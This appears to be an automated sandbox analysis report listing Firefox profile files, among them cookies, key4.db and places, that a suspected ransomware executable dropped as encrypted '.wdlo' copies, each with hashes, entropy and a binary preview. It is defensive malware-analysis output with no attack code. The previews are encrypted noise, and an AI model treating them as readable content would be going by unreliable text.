SHA1:	2BE8C81E2A8BF078F260EB3A9CB81002DE5E6ADF
SHA-256:	C75C5F19819C9643CF1FE129968EB7CCC09605ADA18419B44C8D34A16FA95310
SHA-512:	50B8341B3A6ED2C946BDA08B0C496522AE60E4D2E92C9236ED84437234D44BEA6CFC0CF29754F572FF7BDAE968FBFE51A80F802E1E37E1BB089CB4350AEEC819
Malicious:	false
Preview:	{"ver.h.1....+}.".lB.6...Muhz.(f.PH.=.C+F.....s7...........s.._.8r.O..........MC>.......$.&.s..R...R.g.E..%.r.eCb......z.wS..c,h.f(L..9Jp....o..o...7,fc\|.h...l.].[.bw......_..Z,S0.Lg.D.jy..F......n.b4.c.G\7.)..m....I....#2...!.1X?...b..#e...\....w7.....C..1jHw..!w3Y'.[f.....&fB._....S.Tv^+.fo.0.......,....m.&,.. L.w.:~.....?p...\|WO+..:.O.' .O...&(.B..8..O.m..s.W>.../!......v.....M*Y.;a.'...D.e.W.e$...D.T......T(.H.Y+.....\|..X\$=..]9.<..cku..i...q...wFS!...O.. ..%...H...O..tw..v..[{GH........jq..c.I......bh\|.......?..U..3...F..C...,..M..}.......].%.m..aY.)Y..&Q`.o...8.(m....&N.....5.h.4....n.r..d,......$7...z.k.H.N.).N5......\|\.....z,[1.{..)o)..N.).... H9.&^ .2....\|..TR..)..q...).Ft.``}..........4....V.a.-..%..rW2.ic......Z.:...1V}`....%S.:%y../.2.....UR...D^$7b.......r......yv.....3)...R.V[......(!..>...]....^.!.e.u...r..Y_..].{.6.m..d.T..9.F>7......^.F....6..o..].K.nR[..j....._...?+T..P,.w.z...,R...^.:..........;......=.^;Jr.......\|6.].B..a.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.6496277255425875
Encrypted:	false
SSDEEP:	3072:kGcZjCtMRqiwon01vwkFHC7INatPKYE7LPsUsi6SailIRQPgIRn4:kGcj8ltNFHIdxE7lXtPi
MD5:	59867F26991AEB58BCB76637093F763D
SHA1:	921E72E4F3782BA985EE789983724E4DBD1B3ACE
SHA-256:	F57767BBD0A7D0628A85A7CE6FBA2B602DE5B318F8D44924680E81123122AFA6
SHA-512:	C9E0F7125F4CD8651855BEFAF2F839A38C713A2F067A1F279B45B55FD3C22D26351DA63CB6702E23EDBD5F1E8D29F55EADAC792907B29EE3795C843EBBAF9625
Malicious:	false
Preview:	SQLity.n74k.0./.n42f.._}C'...[ACbw...B.S"..u..`...B..Z4....OqbS.AK.O..V..[....[..x~,<\y...F........!S..C2..?C_.X. .,.)..Ja...X_O)..i.e).S..........r.......X......s.......C....a8.3..V.r.l..D.Ro..utPd.;....T.4...o=`..........)....!...l+..}.X.H..w(......"..@..F.'..../}..1.o.~.}.Y.,.PQ\K.#..Q.....s].Og..pX.~.&...".h..T..<C.b[......x}.]..rs.j....FF....L......./...K.}....f.....k.....N..t.p.SaX`Ns.....4..y..."a'..m.^ (O.......H........Q.f..e...............u:.....QIR....z,....G.....c....gV.......'&....I.'..J........T..D..)....Y..V/j4........1...`..[.U.5uk#j.J+......5g..%..k...'.......D@....}....d.......L....`"E.`./.((-..8m.yBf..v..c..}.<tT!n..igS.TM..1..xx.....,A...l2..BX.C.>.rj#.2...1...7.VT.h_D.\|....a...-.Y.a...S........$..`.I..)n.T>..zx.N.M~b...p..(o..g..._.L..:....E-.w7...._.....&.t.ZT....b..?M....o..y....\..)xw.3m..DK....)..l.,.........E_.)y...3.......JXDh...=a....h..AE.e.S..k..%Mc2..m....J...e.(.r.uYz..e...R.+........mm%H.aV={.].....jw9~.....

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994203962784024
Encrypted:	true
SSDEEP:	768:ZKMPyM6cmeUbzfSuLRZ9SsN1TWthF9EBSWzg7ug3JKIDOAOX:ZKmyz7eUfJLRZ9SszWPCSD7HwIDOx
MD5:	4A8DBC321989D2A0893B9A54806B6F00
SHA1:	F9DF4B7A590FEFC5883A02EF429450A8CBBD41DD
SHA-256:	624C904D0F29FA7104B1A76DF006F551843E7FFEDF6B3F94026DDE837E7401E4
SHA-512:	F242A089742962E21A33B7E80461ECA18B3C05E25B3A05F8BE6D2D2C1E9618CA0639726878905EA04CD9047E25A2F2FA1D1F91141DC5070D1308B0E349946A03
Malicious:	true
Preview:	..-....i.,.......F&k.;n...G....O...xtjD....].QF_W9>{...'W...;..9.S&c.).3..c..A..>.@{....5A...2K......RM...M4F.....P#.#5.....2$..&v.rc...(j....V..B.......Q...k.r.Ol.....^..-.x..~...7y.-5..w...d...H'..4...1N..._..j..`."....U.j..fd..?..."#X..]..w..!..`.L;'..gJ...\.y...Tn......Q&.%%...9..&+.j..=J.;..\|1.....g.....y.D.PC.._6%..,...-.Ys....._pQD.... '.V...&....._..........p...B..l....;Q...x...[.J.F.@..81.gk.{...g..<..j..8J......C.}x...p.f.....x~<W....oc..a.\|.K.&....v..c.0..yGe...!.:.....$.p .3..K.54P.....P.\).O.....6..5..T......`...Q.v.Ff.D.U...I`."M..~..2d..,uJ.6V..P....:ai........,& .:..O..2x.L0\|...`...g* .>k..u..SG.....qJ..\"...5c...a...}.Z.!....<Aw.4-'......F....o....n.5........vB..z.N...';.....6'.6..o....^...aN..j..<(..i.0...`.3......!.N....Za......8.G.(2A$h.E\.~...";L.e.6@.....<.:3G.tT.{.p.{.....U..;.+......HXiu.R.Vn.H\......w.k..!U.)].)...4..u.B.~.h.......I..O....L.AS..`....=c6G.>.W...p.W.t.<..KL:'x.X.Z.F.......M ..1.....qsO6u...A.....\|

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997999747618022
Encrypted:	true
SSDEEP:	3072:qCzFWbSKr6pMNqeKu6qSHLk+A4Lronjh9mEQcYyD:3FV86mQeLSH0TNccYyD
MD5:	3D5E3B7D97EC6671EF6EDB77E4F4BE82
SHA1:	03DD1256903F298DF6BB213760741C72335038E2
SHA-256:	0AB9C685A077B34FCFE09F6F0127D8F68C9AFEAEC95C63BEC95242092D059DD3
SHA-512:	897C9BF050A85EF1778CE050496ABEA3386686F2FA7C550594F9A15897625B5DDEBAE618AD548C9EBCAE6BE7807F70681D19EF95CCA36327CCE9C15724E68366
Malicious:	true
Preview:	SQLit.2...3...$....Y:z....h.......<.._....h..L...yM`.f8.@......n:J..T?.....I..8..P.;......l..zS.M.....ZE..-.:..P...TA...?<..".$....w.../.6.......pTG(!...c.M..j...4.#..q....AJno.f= ...L5...?...r.f=.....#....>.]..A.!\.2......I............%kz....ce......&.N.G.wy..u...j>.TH.T.....A......S.."j.>..(/(....Aw....}..Y4)....2.yW..N...-g(.e.a.HX..n..4X.L..........x.t.Ib..X....Ih}...l...j.)...c...)n..E...G.......T\|.i...X}./.-4.....Ul.S.Zp..`-.Y.j.C...X.......c'......DP.....c..fK..m...jV...y7....O..(V&...q...r....."...~.....u...k....K6.u..l..G3.c..d.@C..Y..C/.V{iS...@fv...qF..P..L..Y.l...6...[.6-.l.x..Bj...I...0.BR.%...&......b....i.......s"...k........^.!j....J#WY..!..'g>.........B....a]g.^XV.......\I.X.V.".7\.........9...14B..6....._.?b..H.v.=....+k...>....#{..x@......[Yv......X.h~....Y..m(.......D-..n.w.N.u.L...e-..`..-^....O...H..2'..Qw..#2..iC..i.$.....\..4V.x{}.c.risg[....-..Fp....1A.$D.J....FU..BN..C....<...9;.....j.B......rM:=..=.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	7.860107544398809
Encrypted:	false
SSDEEP:	24:YefwxWp3yJah/GZkaSiB4OmvX6kRyaFiGm2MQBrar8sUpKhJEfJFLX9BJ/3zbD:YgJpuC4GievSSej/r91EPXbJ/3nD
MD5:	783535685E39CDA02969D530F8295346
SHA1:	F1EA3A095725B25363C3D37280FA1459E4874917
SHA-256:	6641104F716DFDB3C2079FBF04A73E76E762D8CD5289E8B9E0995280EF003545
SHA-512:	FC08CB5815227D1418B585EC4EFE8D906A38D271A9720FF91FD5050B9845BA2C3B2BFAE082AC4D352BCDA0B2D43BE924F8E94FC6E8BE4254CD5473BD34CA923D
Malicious:	false
Preview:	{"for.L.m...\.if]]._.K..G.p.z.v.........M......A....h8..C.-5..G.lm........l..B.5'.B.O4.I.@P...%ed....).b.U...+.,....m<9....x.....hwc..W_..P..!.X+..T..x..0.2....cY.1.p.;2`UH._.x....+...:.d..>...:<CU..F.09...B.8c/.....y;zM!#.=).}...?S.q..C.@Z......{..B..{K..S>..C........w(..163=.X.Z........7#./........-e....6."yB....s(.k5..d[L"..N....HC.p..g......~:....Ak.).!7.i..E.~iV.;.....o..}6_.&.7..t..i.'..}...5..U-......S..L.w.........l0VvHI?.$&iy..0.....f..\|.-..x.]...%.}YR...~M.f..4.CdK@TL..Y4_.=$...Z..k.l....m. 4O.F.na..&...s.X:U..FU...3......L.k..(..0.#.r......;.... ?o C.m..Q...]G..^..EOb..pl.A1.g.1..z......lk.....R.[..!......7... (....I.BQ$..O.F...;....`V1.t.iI..4..&.l..O..%...hXc.X_R1.S.uN.(..N0..+0..-9..+.:;5..&...h.qz..~}....l....zD......)..^R8.?.:A......*q......!C.x......Sk.Zq1..qp=...^..o..../.cSp.\/G.I.....aS..X.E.#...Q.K..&.......r....O.H..p...f...n/..TQ@l....&6.N.{.X..d!KQB.U.......lp)...bE.o......c.E.@..q.6..cY....<..6............B.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	37164
Entropy (8bit):	7.994414347500076
Encrypted:	true
SSDEEP:	768:Ubqe1Tf6kR8k/Q1GLcbmpAsEI3A6l/6l6zsN4ef/HMXEk/bz+:+qU6k/5cCSsEX6l/6l6zEjUEkja
MD5:	F7FBEF65645C039F0537E959028EEE3E
SHA1:	D707DE3B535DE7697BD64E63B9EAC5E74D701FD8
SHA-256:	3FC153FFC834BBD007A8B7C2EC657B8871379F8FC0C02CAEF60EA3E5B019BD26
SHA-512:	99D5DD35028C2650A014B8A9F94A34E013D56B302E140306D969D606802430C9CFA2F1913CD97B1DFE7928C777F4723EB766C2BAE7347B6B0ACACF893DBE94A5
Malicious:	true
Preview:	{"sch.."2..g\B.Zq.d.T+.....W.$[..4...+.Z...Wo.b.p.c.i.c.L.kX..V../.....&.}.k.#d......k..Q`G.:.3..l.\|.)s............<...4#.}..S.Jeb.~.V.@:..p!.v:v....\|}......v.......[. ... ...p.......2s3.~0../..#.9...R.SF..M0.........u4}.].{.W;CbA.Y.R....Y.,._..B..x..X...^..".......9..r...@..E.D2/..n....B/..Rh.@.....8S...H...}..s....... ].~..=..0W.TP1..._..3..~,........KZ.aK.\....D._.V.6.3_.s8.D..CEox..QS....~(UQ.qw..I&.Z..mY.,%.r....c..)'......A.......w.z...i....?M..m.#...!..]...]W..TI.....;..7@RnW..1K..W1?/.y..{t.G.wj.7x}..'.3........Cn].\|..o7.S.c..0.`o.."p.Ob...x...p..i.+?..!.....g.IA.2-......sT.C.U.}.2.Og..h.... .......)..Z.TmQ.'..z.<.G..&[rpf..........+.)..W..l..._.~.#.........2.a..x............>k.L.u.&...#A]<. ...~.!.\|...Z..#...b0..`.tr...... .n1B;..........4........Gq..........Blq.}....u........Qo.~.X...d...>..P@Uy..../..l..6..=u.}.j.......rA........,L........}.I.l......8........f.r...s....f.h.s%.._p...%...z.h.T.....H>..q...O.=*g.u.m..!.5....

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994232355852999
Encrypted:	true
SSDEEP:	768:BkkB9AgQMo75N9Sh+C0IbWgPhzn+FAPsUF9omG:BkkBA8h+CpPN+yG
MD5:	A1D166B9F875087720407DAC2C8FBD1E
SHA1:	1573BB34A43F737056898CBA2788ECD89BE3CDD2
SHA-256:	D0292FE5D104A07C040A9A4D538AB19E1A6D9F611864827D4EDE3013559C9B70
SHA-512:	E0F3CAB51C19F144283EA0251E46E514D48BD7BD36D5960FD0280B00D8B5A483F27D38091A0F1CBFE571C1DCAAC8DE6D70D337C21543A047950CECF986175FC7
Malicious:	true
Preview:	..-...=G..B..7s..,...< t.a&.XN.z4c.A..H.....'.j.i.a.->.2;.u...u}Mc.<...ir-..la......K.Y..[?..u.y....lg.5....W..6...DI.$.duC....H......G..o.".......=F.....0..4.t,.!Zc.}..j.].h.N..{....u.o.i.....r.U..+%4n..Z...^Q...;.Udk..E...#s...H...Nr(..y.....j].-^.&.4x.....0.P....B.........Y.l..i..c.}A4).s.......:..)...Df.[ FC='..:.g.zy.h.)W..V.t..J.1~y]Z..u..}..\.\..P.....mJ.<.n.......7.\|....Q.."q.;t.D.a#._...&...!.$..G.....h'....CJ.JP.1ur..l..'".......3X..&u.e../.".W.....C...n,...f...d9....v.L...w...,G....&.R..;.k.9D]!(..US..G..@..r.{.)..,"...7..:......\y.Ps..l.....Y`..P.G...E.E..4.Sh.".J9 #92..t......{.4...9r..P..t.5s..:...D._..1.>.}..<.2......</...lo..n[..D....'.u.!.Z[.}I.T4 B(.g...p.....qLn....g[.Pq..~..V.A.f.i...C C.q.>uX..........a.\|..Q0*.;.+.K.........`p.%.(B..8...K?..@w...U5......tS(.X`.....!7Hb.l]...l..S..m1<..wI.BD....^..0...9xf.u..&..d..$;.!.,Y5L.}.y.cR....-.+\....C.m6...t<.;.u........r..$P).L..NB.I.....E..o+../{.:.E..w....Vb..`.^_.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.42651892985286816
Encrypted:	false
SSDEEP:	3072:PBCMdIKgtsOoiQ+F1Ceazm1lkjH3Lp+YrdoCyzFzE8jh/rrv/5HG6OLlgfZ:PsGlAsOW+Wez1lCXLfn0tJTrv/BGxSB
MD5:	AF89E62DA747FE7C4548C5AFB70AC2BB
SHA1:	5E45F9BD91221A96AA2B7C2C19D97E8235058FDB
SHA-256:	6B1C634D81ED6F5B64560C177FC078405414E504D2B5C93DA8CED8FC00DC2855
SHA-512:	A7713D8B4655E88D03A58677FCB72AFFDDE16F1051A5440D21CC5C44BB3B9F54998ECBFA05B9106351A7CB94A150CA045EEE10493A81EA2397B006D7ACC9EE4E
Malicious:	false
Preview:	SQLit.f.c.>..j.....0&O.......gwe..Yx.bY)...zP.2..f?6.x..6..Ar..;..(...f....Dmc..Q..F&7..\|..s....yC..f.V.w......?GapX....+...&..^.......Qj..I.R.S..+....E..x@..X..A'..[>~..Kp......v..... ..i..m.Hv..a.ja..R>.....Y+c.....{....H......\.........F..B8!......u..=#..?r'..B........g.5V~-M3..d.+..I.E.0.P.<o..._...s.\..o5.................'.Q.+.g.X.....d,;.)......N.8.B....N...<.zDA..8.. ...pgI.+.....m....a-..Y..]}y../6 A~..2.............kG.g.EAJ]..$..?G&...H...%W..q@.W......"."{.I..m.+....L..E.BsE9w..g}S.*.....K1#9ep...Y..e#.P...Jy......I..}E.w..P..C....\@....Z)d.0......s...M[+...."a..-....SGp...._C..)....J[..yI?........n.\|..8..<....sm.<I.C..s....Z..i\.n...U.......5K&....fA.F..p.......4)8W..k..%.v..\v/..9........'vn.t..)..W.9'...$]..+...m}!.d.P..M?.,=.c.~..K........Su......L.X.....m.zq.F^J.e.......\.;...jFi.@)....k......+....}.XR.. .z.x'D5!D.j.s....[...?..z.z....yy!.f.... ....T.gep.Y.{.yn..un.~e....jjz....e..iAV......d.`..6..E..N.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.627863782041404
Encrypted:	false
SSDEEP:	12:YTgQyud1E3MQFFo6niks7cWovv4UhE0LErahOXLCRj5k+BRuMdT4AR236Wcii9a:YT35si63WovFERWhOXLCRj5k614AE3zX
MD5:	B0EE2EE2C0642ED5D99BDD653249B5C6
SHA1:	D84876F36ABC7224612377604C64C50584A85B81
SHA-256:	D28C2FF6DADC0003E3A9D42128829AD7147869660BC4B8D04013BFC4DF553A90
SHA-512:	CC56ECD4410F661FC2CD3D2509BF84C980F29C5F5D762C644F5C932A5C4EBD11D7A73034E47DDB6E596B9FB8B93F609E8DCFCE0410A57FDCF0A6A67FFD434355
Malicious:	false
Preview:	{"def>..a.......`......'......:HqjW.3Ox.+BL.{'.4Ax....dI..nh%....$..\....,N8...Q.:p...7.X..._.E.....D+F...1qp......58p......L...f....3.].UMx.......^<.L...?%>V...~.-'...WF3...:+5()..f.j....6..D8...C.c.......N+..X5....c...g({.6......".}..8.mX.K.Q..k...[.../.......l...YE.-.R5.:.{....%8.....\i.FTD?..m..M...e...`.lO..ov(sK.E...cF.w..Z.6`.C=o...R.r:.....L...;..1.3a.!.F..kS.C.@.?I...\..o..s.w].. \(.&.~^..-C.3.g_.z....u...a.-}..i.4.....[.E,.........^.C.C.Q........C.=F+........$...{..R..co..^.,.+.qC.-....-_...q.w+..x.:...zw....}.(.M...P.....l^in-...m!......C3.S.Y...P.../..Q.n.....{`..K.1p.c->.+u.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	295246
Entropy (8bit):	5.155879382144316
Encrypted:	false
SSDEEP:	3072:S42OjUTWVxN3GzJ0hZALVxBrRGtX52KZrKRmoIrL4gZoVthjum+LHG4aixIdc:SiUTWF3Glo2xBrcO0rKIFL4guXJSLmW5
MD5:	3D31E2C9DD7BBCD40310AA00D0A39A65
SHA1:	95E5BCBB5EBA1AB0CAFE29D220ACC67AAD15D238
SHA-256:	1B2A57DC4D8BAFCE77CCFA8D7C4FAA9D5B271996AAF3A3ED0EC2ACFF411892C3
SHA-512:	22E4A6D0AE1182B87B368849B4E6490AB87464C2FCD6320627792C5D6239C0B3789DEEA20571C82E4746E0BBE123EFD60A08D9C7C493175622722169C408A65C
Malicious:	false
Preview:	SQLit7.....I...8.."t..ak.H..Bk..}~.Zg..M..?o8.:X.....gb...0)...4V.[F....J.l....&?..n.....&P../.7..-....TYq`].=dqz...Z'.v.I..}..,.1"v...^W..s>.q.....ZfV...M.n..X=......N....."...m\|!.R....nH.?U?+t.w.x1..{B)......s>5..F.........T.O....f&...R4.6'g.z.c..$..s..K(.`.a!.I,.C..l.. ...2.&.D.~.G.9J.......I.ho..&.j...;\|t9<T.Ow\l~..n.W.F}...=[.a.&.[E......G..T\.#..y.?...K.."/.....1...-.0..7....DD5?..J...Z.=k.zz..........L.9..L{0A.jq.93;.#...?..0.....6=~....3..:lz_...B.W.+.1..L.`.:.fT.a.u...p.....Y...\|.M.I.<...\|..t..wq.b}.......^..Q..2......n8).V]$L...4..t.'..)8'AHy.&......^.%..v..\b.:.q.n....].....=qu.OUPj....8....u..P..e..V...&fw.N..wS.{.<..&..N.J...-q..<.W+j..)...c....F}.....[.1.U....)..X6&.L....}q.0..g/.c?Q$Z.&....^..K.%RY.....&e#y.....u..<...,..L...HLz.y=.OVIS.E.3..=..-q.gJSv..1..%.....=...J..\|C.6/}...5......3p..t.......Q..]!.....~.p....w" c..<...v....<a...a.U_.=D....^o..+........q..3..&-..A-"?.0).yr.#.'....M0f...*i.y..l{.....rT.j:..`..-

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998153991304256
Encrypted:	true
SSDEEP:	3072:4jPOLv8EfujcduwTPnmw0+PKqKOZwhH8KsmFAfLq9kFfnD+:4jPOzmSnmwFPKIwhcKGfLakFD+
MD5:	019C662CA28ECCFF0670CA16DAA72B02
SHA1:	C6C0A72F53F471907A767BC358C873D6D77C4A82
SHA-256:	3A82F24D81885F4F333F7A81D1FF2358C60501B07902C0053E34804C1B4FD291
SHA-512:	AFEAD64FCAB4E8EED9FF6638B89166E08B7341D2457874D7A138EBAD5CD2C4EFC4ED41C6DF232523424F4DF015C72C1E71237B484524B4C91432766F31DEED31
Malicious:	true
Preview:	SQLit.........,=B..0..5.b.A........j..^KM\|[....r.s.\.A.r..F?S;......_f...5f#..3.{.a....6.q.#.U..i.]...9KVW....Vv...D...V..v.QS.Ir.....I..<.`.....O......p.0.~f+..\l.....f.O..}.pC...0\._So.{..e....sW.n...."....R...G....).....e..!..c.<.....hL.1o...O..6H.4..7.U.BGm......D.....$!....?..S.q.+8.o..F.....'.%......X.....h"_.V........r...k.#R(._....c.kZ]...Nt,.....2.+M...l.p.=..........H..,.6.........8t..l.P.'..le.Wx...<^,.l]....\|..j..z.....R.E.."..D`$K............$0R..b.........gG....,.I.`.P.S.++P..S..!V0u.x.N.......]...,..K...=....I.F.`...F......m.&.........)O<.......g.&....<..Nf./.3b...n...Uc..<.g..\w.1er.G.'..f.[$....Y.0ID.oZ.j.el].p.....!......T...y....e......K_..`.\r.i....k..t....c.X....mF.G..:a.PI8...H...Z[.rQ.\.xp.s.E=.q...y....j.n-HU....\..(...h.....z.oV.....M.X...;R...;c. #6..d.........U].....^{Ks......m..M..n.k.c:.~..Q..6....T...........&......5b....X...b.~_Sy.$....._.."&..l.y".h....[~(G..{@T.t...........YS:...o..{..c.I.C.Y.z...

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	852
Entropy (8bit):	7.750590350945824
Encrypted:	false
SSDEEP:	24:Ra2rcMo1//xN2cllRky6FpqRwLs3DJ0WbjJ4PF3zbD:RzNo5HCyApqWLc6ujJ4PF3nD
MD5:	E651E8B770592AE740A6080C1690A70C
SHA1:	26579A87B8EDEA23EA4E467B9BEB37DC87311EF3
SHA-256:	A01B5E6579CD461259F4879B6B764B41BEE932F29898B84823001AA807277A56
SHA-512:	D0209F753CF34C6B1D29AA17DDB8CCEE4C7DC13997DDA4A35266091DB8F98CC131590F85F69475CCE071446DE8A609AF42CDB2CC48905520BEA07F0EF4B8A4D7
Malicious:	false
Preview:	libra.............+..y_.T>6._.(.W.........~...3`.a.Of..._P.m8w.V..Q..k....<~.>6a..=..U....M.g.....[....J.)..8..]v.(.f....".z..TF.B..2m+..1.W.Va'..F..o..\:#WU.U..u.D.....+.wf}..uJ..gSiw.9l...`}.j..-........-N.....t../u..~.x.`.5B.z...wVb....G....a.]..TQ0.......B..h.X7.m....D......).......C.-F@..t.:...J-K.U..ya.H5....n....oq&..N.{...2 Q~...E.Y;..K6..\... .b....M...!B.Ld..H..?Z.&_N.).pG%..~P_....Ny.U...B.Je..U.7d.:..Z(....u.un..m_+.DG....l..t]..W~Ut`....H.Xi.A..?f.......).gG8;. .W...b......t...O./...Y.g..8K..... .\...!v.'..'=Q<.o...8..<H.P..<............K ..@..b....c..jHDg.q.h_..g..@..I2X.....a.a............m.bW...0..N..#FB=k...$0.{U..6oSU-?0Nv.R...,..(...":...T.6......H(......:.!\|..#G.JX.e...S2....WQ..{........*g-u.T.~.wi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994330212155627
Encrypted:	true
SSDEEP:	768:eOxHI9nDbgYbvKrUgdMCueQIOp27mF8n1SSTZiNVzzokgtL:DEvfg6qTq18n1SSli7FG
MD5:	33FD9FC6AE40F0B692C25CF5C9DD70BD
SHA1:	911B7B6E9C87926E0517F0533BDB059FAB01D824
SHA-256:	F02D9B8F17D6907108EB6531449B22AC28A15470FD693042AC70628756D63682
SHA-512:	3AA87A44A18F484029C338F66CEA951C20C6DBC002EEE7D991AE14E32567B19B14F25915D634D132E666CB5EAD4E8BCE606855B1CC09FE94E1DD8D368851CD10
Malicious:	true
Preview:	..-........\|U.;........Q=.U..t..:.Fx1:v.H/._....X.(j........LHM.(..!.u.:..). .p.O.<.C.W.....-Mz'T.a\.$...q..G...3~..QhIq...M...../...&.7.e......g...&..(@x.i.j.(s..OV.,sw.d:tq~.So.,..<.#.>...j.0..}...JH....3..1S.t.iNaR...m...p1n..a..x...X...T6.`.. .....>rI).....v..<......b..<...C.3.....]T.)G./\|.%=........i.9.Aa.G..O.f..M..~..,. ..V.Y..6......+..9L.p..X\|.......q....Gh^..!4Eq.........98......gZU....}.g..[...$..=_-. ..y.......H3....L....l/.x.P(..S..'P.sU.D..'{....h.x...^+.gy ...eS.....y.t.Fz`O.Eb...'M...Y4R.P.G;.E;........3Z.zk......'..n...BOH..j.b..`.q..d.`. 5.{..p.MB..\.>..p*...:..&X.[NO.W.%r..j...1... K.`...ph.,...=.l.0..uD.hF.&.Gk.0.>\.u...O.(cTen....S.T.LA..N4C=.q. ..(.w....X...].,"=].K.....1P5oC.G.>!..X=..2.0....[..X.....y <.T.w.tA.qP.{zy....i.'..U..o........."\|h..oE...M."..T.......G...."]2,..V!J10..^b.39....2...p".."....p...;k...C...P3^.E.....0V+H.0.%....Q~....k../W.S.g...Z....h.-./S..vWKw..'.!)ni....R..J.....jY....Q.j.c...~M8~...$

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.43221320423144105
Encrypted:	false
SSDEEP:	3072:3+6C4h1y+QsQDA68rZRj0ZnWh+kqG48rzfGBRmcLfkz+QosAG06:3+6xh1y9A68Nh+kAkURLYzasAG06
MD5:	83AB017D33ACE61BC80C5B056E929254
SHA1:	EE77B2D4827A89F7892A30754192090FAA0078F3
SHA-256:	FFE28DB0F2F8D58A462C1BB82A0E45DC934A17FCA950FCAF64E13FFDDC93B90A
SHA-512:	7D336C846CC11C82EC219F653A07B77A91E5D0C21056AF0759FD66CB17F4218152819FD4707D7BAA10B7CDD2BAAA28F6B1D7252E03A952F24DE3D7993AD96DFC
Malicious:	false
Preview:	SQLit..a..8.R..eJ..j...+X..b.)>Sc...\o.....K.....3I...wG.r...p@.2k..V.Ot.m.D.-..Y%RZ..N).....~F.Q.T&OG.)...6...r7.`.[..dE..L...Vp.4X.Lkp..f.....P...XWKWrj.........\.#YCs.O.PH..'...X..k.?.p.p..V..&>...n.,4..5.6.....6.Z.K..5.7^.....Y......1....D..rIu...b.G_..j.7.....n...x...X9...^1Yv..D.>..$.\s.>Q......oo..Cj....x.f..^/0.3.`#.c...p.rC=.M...g.t ..]....U.....5......mkb....G2x....LX&...ok8.I...n./>q.A.~..W..{.....Y..n./.LB...P...=....i..........r[....S7` 